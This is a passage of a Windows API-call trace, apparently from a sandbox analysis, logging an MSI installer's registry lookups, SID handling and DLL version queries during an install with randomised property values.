SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0121.217] ConvertSidToStringSidW (in: Sid=0x10ccc30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ccc10 | out: StringSid=0x10ccc10*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0121.217] LocalFree (hMem=0x330500) returned 0x0 [0121.217] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.217] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0121.217] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd050 | out: phkResult=0x10cd050*=0x0) returned 0x2 [0121.217] GetCurrentThreadId () returned 0xf50 [0121.217] GetCurrentThreadId () returned 0xf50 [0121.218] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.218] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ccb50, TokenInformationLength=0x58, ReturnLength=0x10ccb40 | out: TokenInformation=0x10ccb50, ReturnLength=0x10ccb40) returned 1 [0121.218] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ccc30, pSourceSid=0x10ccb60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ccc30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0121.218] ConvertSidToStringSidW (in: Sid=0x10ccc30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ccc10 | out: StringSid=0x10ccc10*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0121.218] LocalFree (hMem=0x330180) returned 0x0 [0121.218] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.218] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0121.218] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd050 | out: phkResult=0x10cd050*=0x0) returned 0x2 [0121.218] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.218] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0121.218] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd050 | out: phkResult=0x10cd050*=0x0) returned 0x2 [0121.218] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.218] GetCurrentThreadId () returned 0xf50 [0121.218] GetCurrentThreadId () returned 0xf50 [0121.219] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.219] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd940, TokenInformationLength=0x58, ReturnLength=0x10cd930 | out: TokenInformation=0x10cd940, ReturnLength=0x10cd930) returned 1 [0121.219] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cda20, pSourceSid=0x10cd950*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cda20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0121.219] ConvertSidToStringSidW (in: Sid=0x10cda20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cda00 | out: StringSid=0x10cda00*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0121.219] LocalFree (hMem=0x330500) returned 0x0 [0121.239] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.239] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0121.239] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdf80 | out: phkResult=0x10cdf80*=0x0) returned 0x2 [0121.239] GetCurrentThreadId () returned 0xf50 [0121.239] GetCurrentThreadId () returned 0xf50 [0121.239] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.239] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd940, TokenInformationLength=0x58, ReturnLength=0x10cd930 | out: TokenInformation=0x10cd940, ReturnLength=0x10cd930) returned 1 [0121.239] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cda20, pSourceSid=0x10cd950*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cda20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0121.239] ConvertSidToStringSidW (in: Sid=0x10cda20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cda00 | out: StringSid=0x10cda00*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0121.239] LocalFree (hMem=0x330180) returned 0x0 [0121.240] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.240] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0121.240] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdf80 | out: phkResult=0x10cdf80*=0x0) returned 0x2 [0121.240] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.240] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0121.240] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdf80 | out: phkResult=0x10cdf80*=0x0) returned 0x2 [0121.240] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0121.240] _vsnwprintf (in: _Buffer=0x10ce150, _BufferCount=0x103, _Format="%s\\%s\\%s", _ArgList=0x10ce128 | out: _Buffer="Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 59 [0121.240] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd9a8 | out: phkResult=0x10cd9a8*=0x1d8) returned 0x0 [0121.240] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x0, lpName=0x10cd9f0, lpcchName=0x10cd9a0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="S-1-5-18", lpcchName=0x10cd9a0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.240] RegCloseKey (hKey=0x1d8) returned 0x0 [0121.240] _vsnwprintf (in: _Buffer=0x10cd150, _BufferCount=0x13d, _Format="%s\\%s", _ArgList=0x10cd0f8 | out: _Buffer="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18") returned 69 [0121.240] _vsnwprintf (in: _Buffer=0x10cd3e0, _BufferCount=0x3ff, _Format="%s\\%s", _ArgList=0x10cd0f8 | out: _Buffer="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 129 [0121.240] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce4a8 | out: phkResult=0x10ce4a8*=0x0) returned 0x2 [0121.240] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0121.241] _vsnwprintf (in: _Buffer=0x10ce150, _BufferCount=0x103, _Format="%s\\%s\\%s", _ArgList=0x10ce128 | out: _Buffer="Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 59 [0121.241] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd9a8 | out: phkResult=0x10cd9a8*=0x1d8) returned 0x0 [0121.241] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x1, lpName=0x10cd9f0, lpcchName=0x10cd9a0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="S-1-5-18", lpcchName=0x10cd9a0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0121.241] RegCloseKey (hKey=0x1d8) returned 0x0 [0121.241] lstrlenW (lpString="CLIENTPROCESSID") returned 15 [0121.241] memcpy (in: _Dst=0x3c0a80, _Src=0x33cfe0, _Size=0x20 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.241] lstrlenW (lpString="[~~~]") returned 5 [0121.241] lstrlenW (lpString="[~~~]") returned 5 [0121.241] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ACTION=INSTALL", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0121.241] memcpy (in: _Dst=0x330190, _Src=0x33d004, _Size=0x50 | out: _Dst=0x330190) returned 0x330190 [0121.241] memcpy (in: _Dst=0x3c0a80, _Src=0x33d058, _Size=0x12 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.241] memcpy (in: _Dst=0x35ab00, _Src=0x33d06e, _Size=0x6 | out: _Dst=0x35ab00) returned 0x35ab00 [0121.241] memcpy (in: _Dst=0x35ab00, _Src=0x33d078, _Size=0x10 | out: _Dst=0x35ab00) returned 0x35ab00 [0121.241] memcpy (in: _Dst=0x35ab30, _Src=0x33d08c, _Size=0xe | out: _Dst=0x35ab30) returned 0x35ab30 [0121.241] memcpy (in: _Dst=0x3c0a80, _Src=0x33d09e, _Size=0x20 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.242] memcpy (in: _Dst=0x2104850, _Src=0x33d0c2, _Size=0x26 | out: _Dst=0x2104850) returned 0x2104850 [0121.242] memcpy (in: _Dst=0x3c0a80, _Src=0x33d0ec, _Size=0x1a | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.242] memcpy (in: _Dst=0x35ab00, _Src=0x33d10a, _Size=0x2 | out: _Dst=0x35ab00) returned 0x35ab00 [0121.242] memcpy (in: _Dst=0x3c0a80, _Src=0x33d110, _Size=0x1e | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.242] memcpy (in: _Dst=0x35ab00, _Src=0x33d132, _Size=0x8 | out: _Dst=0x35ab00) returned 0x35ab00 [0121.242] memcpy (in: _Dst=0x3c0a80, _Src=0x33d13e, _Size=0x16 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.242] memcpy (in: _Dst=0x2104850, _Src=0x33d158, _Size=0x26 | out: _Dst=0x2104850) returned 0x2104850 [0121.242] memcpy (in: _Dst=0x3c0a80, _Src=0x33d182, _Size=0x12 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.242] memcpy (in: _Dst=0x3399f0, _Src=0x33d198, _Size=0x34 | out: _Dst=0x3399f0) returned 0x3399f0 [0121.242] memcpy (in: _Dst=0x3c0a80, _Src=0x33d1d0, _Size=0x12 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.242] memcpy (in: _Dst=0x35ab30, _Src=0x33d1e6, _Size=0x6 | out: _Dst=0x35ab30) returned 0x35ab30 [0121.242] memcpy (in: _Dst=0x3c0a80, _Src=0x33d1f0, _Size=0x1a | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.242] memcpy (in: _Dst=0x35ab30, _Src=0x33d20e, _Size=0xe | out: _Dst=0x35ab30) returned 0x35ab30 [0121.242] memcpy (in: _Dst=0x35ab30, _Src=0x33d220, _Size=0xc | out: _Dst=0x35ab30) returned 0x35ab30 [0121.242] memcpy (in: _Dst=0x35ab60, _Src=0x33d230, _Size=0xe | out: _Dst=0x35ab60) returned 0x35ab60 [0121.242] memcpy (in: _Dst=0x3c0a80, _Src=0x33d242, _Size=0x18 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.242] memcpy (in: _Dst=0x35ab30, _Src=0x33d25e, _Size=0x2 | out: _Dst=0x35ab30) returned 0x35ab30 [0121.242] memcpy (in: _Dst=0x3c0a80, _Src=0x33d264, _Size=0x1c | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.242] memcpy (in: _Dst=0x35ab30, _Src=0x33d284, _Size=0x2 | out: _Dst=0x35ab30) returned 0x35ab30 [0121.243] memcpy (in: _Dst=0x35ab30, _Src=0x33d28c, _Size=0x10 | out: _Dst=0x35ab30) returned 0x35ab30 [0121.243] memcpy (in: _Dst=0x3c0a80, _Src=0x33d29e, _Size=0x1c | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.243] memcpy (in: _Dst=0x35ab30, _Src=0x33d2c0, _Size=0xc | out: _Dst=0x35ab30) returned 0x35ab30 [0121.243] memcpy (in: _Dst=0x35ab60, _Src=0x33d2ce, _Size=0xe | out: _Dst=0x35ab60) returned 0x35ab60 [0121.243] SetLastError (dwErrCode=0x0) [0121.243] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0121.243] lstrlenW (lpString="APPHELP") returned 7 [0121.243] GetSystemDirectoryW (in: lpBuffer=0x10ce300, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0121.243] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\APPHELP.DLL") returned 0x7fef9850000 [0121.249] GetProcAddress (hModule=0x7fef9850000, lpProcName="ApphelpGetMsiProperties") returned 0x7fef986bb98 [0121.249] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.249] ApphelpGetMsiProperties () returned 0x0 [0121.251] GetProcAddress (hModule=0x7fef9850000, lpProcName="SdbInitDatabase") returned 0x7fef986bc60 [0121.251] SdbInitDatabase () returned 0x0 [0121.252] lstrlenW (lpString="sxs") returned 3 [0121.252] GetSystemDirectoryW (in: lpBuffer=0x3cecb0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0121.252] SetErrorMode (uMode=0x1) returned 0x1 [0121.252] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\sxs.DLL" (normalized: "c:\\windows\\system32\\sxs.dll"), fInfoLevelId=0x0, lpFileInformation=0x10cd990 | out: lpFileInformation=0x10cd990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eac27f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8eac27f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8eae8954, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8e400)) returned 1 [0121.253] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0121.253] lstrlenW (lpString="VERSION") returned 7 [0121.253] GetSystemDirectoryW (in: lpBuffer=0x10cd740, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0121.253] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\VERSION.DLL") returned 0x7fefbe30000 [0121.256] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0121.256] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.256] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\sxs.DLL", lpdwHandle=0x10cda68 | out: lpdwHandle=0x10cda68) returned 0x6ec [0121.282] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0121.282] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\sxs.DLL", dwHandle=0x0, dwLen=0x6ec, lpData=0x10cdcc0 | out: lpData=0x10cdcc0) returned 1 [0121.283] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0121.283] VerQueryValueW (in: pBlock=0x10cdcc0, lpSubBlock="\\", lplpBuffer=0x10cda80, puLen=0x10cda78 | out: lplpBuffer=0x10cda80*=0x10cdce8, puLen=0x10cda78) returned 1 [0121.283] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\sxs.DLL", hFile=0x0, dwFlags=0x2) returned 0x7fefcb70000 [0121.283] EnumResourceNamesW (hModule=0x7fefcb70000, lpType=0x10, lpEnumFunc=0x7fef79eacac, lParam=0x10cd9e8) returned 1 [0121.283] EnumResourceLanguagesW (hModule=0x7fefcb70000, lpType=0x10, lpName=0x1, lpEnumFunc=0x7fef79eacd0, lParam=0x10cd9e8) returned 1 [0121.284] FindResourceExW (hModule=0x7fefcb70000, lpType=0x10, lpName=0x1, wLanguage=0x409) returned 0xbe02d8 [0121.284] LoadResource (hModule=0x7fefcb70000, hResInfo=0xbe02d8) returned 0xbe53a8 [0121.284] LockResource (hResData=0xbe53a8) returned 0xbe53a8 [0121.284] SizeofResource (hModule=0x7fefcb70000, hResInfo=0xbe02d8) returned 0x374 [0121.284] memcpy (in: _Dst=0x3c1200, _Src=0xbe53a8, _Size=0x374 | out: _Dst=0x3c1200) returned 0x3c1200 [0121.285] VerQueryValueW (in: pBlock=0x3c1200, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x10cd428, puLen=0x10cd420 | out: lplpBuffer=0x10cd428*=0x3c1570, puLen=0x10cd420) returned 1 [0121.320] FreeLibrary (hLibModule=0x7fefcb70000) returned 1 [0121.320] SetErrorMode (uMode=0x1) returned 0x1 [0121.320] _vsnwprintf (in: _Buffer=0x10ce580, _BufferCount=0x19, _Format="%d.%d.%d.%d", _ArgList=0x10ce528 | out: _Buffer="6.1.7601.17514") returned 14 [0121.320] lstrlenW (lpString="6.1.7601.17514") returned 14 [0121.320] memcpy (in: _Dst=0x3bc2a0, _Src=0x10ce580, _Size=0x1c | out: _Dst=0x3bc2a0) returned 0x3bc2a0 [0121.320] lstrlenW (lpString="6.1.7601.17514") returned 14 [0121.320] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0121.321] GetModuleHandleW (lpModuleName="MSCOREE") returned 0x0 [0121.321] lstrlenW (lpString="MSCOREE") returned 7 [0121.321] GetSystemDirectoryW (in: lpBuffer=0x10cdfa0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0121.321] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\MSCOREE.DLL") returned 0x7fef9de0000 [0121.347] GetProcAddress (hModule=0x7fef9de0000, lpProcName="GetCORSystemDirectory") returned 0x7fef9de8628 [0121.347] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.495] SetErrorMode (uMode=0x1) returned 0x1 [0121.495] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\fusion.dll"), fInfoLevelId=0x0, lpFileInformation=0x10cd990 | out: lpFileInformation=0x10cd990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fa2500, ftCreationTime.dwHighDateTime=0x1d4e502, ftLastAccessTime.dwLowDateTime=0xb9dde450, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xd6fa2500, ftLastWriteTime.dwHighDateTime=0x1d4e502, nFileSizeHigh=0x0, nFileSizeLow=0x1a900)) returned 1 [0121.495] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll", lpdwHandle=0x10cda68 | out: lpdwHandle=0x10cda68) returned 0x794 [0121.497] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll", dwHandle=0x0, dwLen=0x794, lpData=0x10cdcc0 | out: lpData=0x10cdcc0) returned 1 [0121.498] VerQueryValueW (in: pBlock=0x10cdcc0, lpSubBlock="\\", lplpBuffer=0x10cda80, puLen=0x10cda78 | out: lplpBuffer=0x10cda80*=0x10cdce8, puLen=0x10cda78) returned 1 [0121.498] LoadLibraryExW (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll", hFile=0x0, dwFlags=0x2) returned 0xbf0001 [0121.626] EnumResourceNamesW (hModule=0xbf0001, lpType=0x10, lpEnumFunc=0x7fef79eacac, lParam=0x10cd9e8) returned 1 [0121.626] EnumResourceLanguagesW (hModule=0xbf0001, lpType=0x10, lpName=0x1, lpEnumFunc=0x7fef79eacd0, lParam=0x10cd9e8) returned 1 [0121.627] FindResourceExW (hModule=0xbf0001, lpType=0x10, lpName=0x1, wLanguage=0x409) returned 0xc05e48 [0121.627] LoadResource (hModule=0xbf0001, hResInfo=0xc05e48) returned 0xc05e60 [0121.627] LockResource (hResData=0xc05e60) returned 0xc05e60 [0121.627] SizeofResource (hModule=0xbf0001, hResInfo=0xc05e48) returned 0x3c8 [0121.627] memcpy (in: _Dst=0x35a520, _Src=0xc05e60, _Size=0x3c8 | out: _Dst=0x35a520) returned 0x35a520 [0121.627] VerQueryValueW (in: pBlock=0x35a520, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x10cd428, puLen=0x10cd420 | out: lplpBuffer=0x10cd428*=0x35a8e4, puLen=0x10cd420) returned 1 [0121.627] FreeLibrary (hLibModule=0xbf0001) returned 1 [0121.628] SetErrorMode (uMode=0x1) returned 0x1 [0121.628] _vsnwprintf (in: _Buffer=0x10ce580, _BufferCount=0x19, _Format="%d.%d.%d.%d", _ArgList=0x10ce528 | out: _Buffer="4.8.3761.0") returned 10 [0121.629] lstrlenW (lpString="4.8.3761.0") returned 10 [0121.629] memcpy (in: _Dst=0x3bc2a0, _Src=0x10ce580, _Size=0x14 | out: _Dst=0x3bc2a0) returned 0x3bc2a0 [0121.629] lstrlenW (lpString="4.8.3761.0") returned 10 [0121.629] memcpy (in: _Dst=0x3cb600, _Src=0x33a7ac, _Size=0x8 | out: _Dst=0x3cb600) returned 0x3cb600 [0121.629] GetSystemInfo (in: lpSystemInfo=0x10ce9c0 | out: lpSystemInfo=0x10ce9c0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7fffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0121.629] GetUserDefaultLangID () returned 0x409 [0121.630] lstrlenW (lpString="TRANSFORMSSECURE") returned 16 [0121.630] memcpy (in: _Dst=0x3c0a80, _Src=0x33cfe0, _Size=0x20 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.630] lstrlenW (lpString="[~~~]") returned 5 [0121.630] lstrlenW (lpString="[~~~]") returned 5 [0121.630] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ACTION=INSTALL", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0121.630] memcpy (in: _Dst=0x3d6b90, _Src=0x33d004, _Size=0x50 | out: _Dst=0x3d6b90) returned 0x3d6b90 [0121.630] memcpy (in: _Dst=0x3c0a80, _Src=0x33d058, _Size=0x12 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.630] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d06e, _Size=0x6 | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.630] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d078, _Size=0x10 | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.630] memcpy (in: _Dst=0x3cba80, _Src=0x33d08c, _Size=0xe | out: _Dst=0x3cba80) returned 0x3cba80 [0121.631] memcpy (in: _Dst=0x3c0a80, _Src=0x33d09e, _Size=0x20 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.631] memcpy (in: _Dst=0x2104b20, _Src=0x33d0c2, _Size=0x26 | out: _Dst=0x2104b20) returned 0x2104b20 [0121.631] memcpy (in: _Dst=0x3c0a80, _Src=0x33d0ec, _Size=0x1a | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.631] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d10a, _Size=0x2 | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.631] memcpy (in: _Dst=0x3c0a80, _Src=0x33d110, _Size=0x1e | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.631] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d132, _Size=0x8 | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.631] memcpy (in: _Dst=0x3c0a80, _Src=0x33d13e, _Size=0x16 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.631] memcpy (in: _Dst=0x2104b20, _Src=0x33d158, _Size=0x26 | out: _Dst=0x2104b20) returned 0x2104b20 [0121.631] memcpy (in: _Dst=0x3c0a80, _Src=0x33d182, _Size=0x12 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.631] memcpy (in: _Dst=0x376420, _Src=0x33d198, _Size=0x34 | out: _Dst=0x376420) returned 0x376420 [0121.631] memcpy (in: 